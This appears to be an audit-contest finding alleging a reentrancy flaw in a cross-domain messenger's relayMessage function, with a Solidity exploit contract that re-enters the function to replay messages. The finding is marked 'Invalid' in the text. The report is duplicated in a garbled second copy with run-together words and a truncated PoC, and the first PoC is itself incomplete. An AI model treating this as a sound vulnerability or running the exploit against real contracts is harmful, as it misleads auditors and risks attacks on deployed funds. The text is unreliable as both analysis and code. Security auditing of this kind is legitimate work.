Attacker will exploit reentrancy vulnerability to relay messages multiple times
Summary
A reentrancy vulnerability will cause multiple message relays for the protocol as the attacker will re-enter the relayMessage function before the successfulMessages flag is set, allowing the same message to be processed repeatedly.
Root Cause
In src/universal/CrossDomainMessenger.sol:286, the function does not follow the Checks-Effects-Interactions (CEI) pattern. The external call (SafeCall.call) is made before updating the successfulMessages mapping, allowing a reentrant call to replay the same message before marking it as processed.
Internal pre-conditions
The attacker needs to trigger a cross-chain message relay with a contract that can re-enter the relayMessage function.
The target contract must be able to call back into the CrossDomainMessenger contract during the relay process.
External pre-conditions
The attacker must be able to send a cross-chain message that triggers relayMessage().
Attack Path
Attacker sends a crafted message to the CrossDomainMessenger.
The external contract SafeCall.call() is executed without marking the message as processed in successfulMessages.
The attacker re-enters the relayMessage function during the external call, triggering the same message relay multiple times.
The successfulMessages flag is only set after all calls are made, allowing multiple relays.
Impact
The protocol suffers from multiple message relays, potentially leading to multiple unauthorized actions or fund transfers. The attacker gains the ability to relay the same message multiple times without proper validation.
PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ReentrancyExploit {
ICrossDomainMessenger public crossDomainMessenger;
bool public shouldReenter;
uint256 public reentryCount;
uint256 public maxReentryCount;
constructor(address _crossDomainMessenger) {
crossDomainMessenger = ICrossDomainMessenger(_crossDomainMessenger);
reentryCount = 0;
shouldReenter = true;
maxReentryCount = 3; // Set max re-entry attempts
}
// Attack function to trigger reentrancy on relayMessage
function executeExploit(
uint256 nonce,
address target,
uint256 value,
uint256 minGasLimit,
bytes calldata message
) external {
// Call relayMessage and initiate the reentrancy
crossDomainMessenger.relayMessage{value: 0}(
nonce,
address(this), // The attacker contract as the sender
target, // Target contract to exploit
value, // The value to send
minGasLimit, // Minimum gas limit
message // Custom message data
);
}
// This function will be called by the CrossDomainMessenger during relay
receive() external payable {
if (shouldReenter && reentryCount < maxReentryCount) {
reentryCount += 1;
// Re-enter relayMessage to exploit the reentrancy vulnerability
crossDomainMessenger.relayMessage{value: 0}(
0, // Nonce value
address(this), // The attacker contract as the sender
msg.sender, // Target to relay message back
msg.value, // The value to send
100000, // Arbitrary minGasLimit
"" // Empty message for re-entrance
);
} else {
shouldReenter = false;
}
}
Demhack
Invalid
Attacker will exploit reentrancy vulnerability to relay messages multiple times
Summary
A reentrancy vulnerability will cause multiple message relays for the protocol as the attacker will re-enter the
relayMessage
function before thesuccessfulMessages
flag is set, allowing the same message to be processed repeatedly.Root Cause
In
src/universal/CrossDomainMessenger.sol:286
, the function does not follow the Checks-Effects-Interactions (CEI) pattern. The external call (SafeCall.call
) is made before updating thesuccessfulMessages
mapping, allowing a reentrant call to replay the same message before marking it as processed.Internal pre-conditions
relayMessage
function.CrossDomainMessenger
contract during the relay process.External pre-conditions
relayMessage()
.Attack Path
CrossDomainMessenger
.SafeCall.call()
is executed without marking the message as processed insuccessfulMessages
.relayMessage
function during the external call, triggering the same message relay multiple times.successfulMessages
flag is only set after all calls are made, allowing multiple relays.Impact
The protocol suffers from multiple message relays, potentially leading to multiple unauthorized actions or fund transfers. The attacker gains the ability to relay the same message multiple times without proper validation.
PoC
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
interface ICrossDomainMessenger { function relayMessage( uint256 _nonce, address _sender, address _target, uint256 _value, uint256 _minGasLimit, bytes calldata _message ) external payable; }
contract ReentrancyExploit { ICrossDomainMessenger public crossDomainMessenger; bool public shouldReenter; uint256 public reentryCount; uint256 public maxReentryCount;
}
Mitigation
No response